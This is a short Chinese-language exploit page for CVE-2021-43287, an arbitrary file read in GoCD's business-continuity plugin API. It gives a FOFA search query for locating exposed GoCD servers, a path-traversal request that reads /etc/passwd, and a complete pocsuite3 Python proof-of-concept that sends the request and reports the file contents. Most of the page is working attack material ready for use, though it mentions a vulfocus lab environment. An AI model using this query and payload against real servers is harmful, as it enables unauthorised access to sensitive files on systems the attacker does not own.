GoCD plugin 任意文件读取漏洞 CVE-2021-43287

漏洞描述

GoCD plugin aip 参数中的 pluginName 参数存在任意文件读取漏洞，导致攻击者可以获取服务器中的任意敏感信息

fofa语法

title=“Create a pipeline - Go”

POC

/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd

pocsuite3验证

vulfocus环境

from collections import OrderedDict
from urllib.parse import urljoin
import requests,urllib3
import urllib.request
import ssl
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict,OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class TestPOC(POCBase):
    vulID = '0'
    version = '1.0'
    author = ['xxx-test']
    vulDate = '2021-11-02'
    createDate = '2022-09-07'
    updateDate = '2022-09-07'
    references = ['']
    name = 'GoCD任意文件读取'
    appPowerLink = ' '
    appName = 'GoCD'
    appVersion = """GoCD_14.2.0"""
    vulType = VUL_TYPE.ARBITRARY_FILE_READ
    desc = '''GoCD任意文件读取'''
    samples = ['']
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP



    def _verify(self):
        result = {}
        path = "/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"
        url = self.url + path
        r = urllib.request.Request(url)
        with urllib.request.urlopen(r, timeout=10) as resq:
            text = resq.read().decode('utf-8')
            if 'root' in text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['body'] = text
                return self.parse_output(result)
            else:
                pass



    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output



register_poc(TestPOC)

最后

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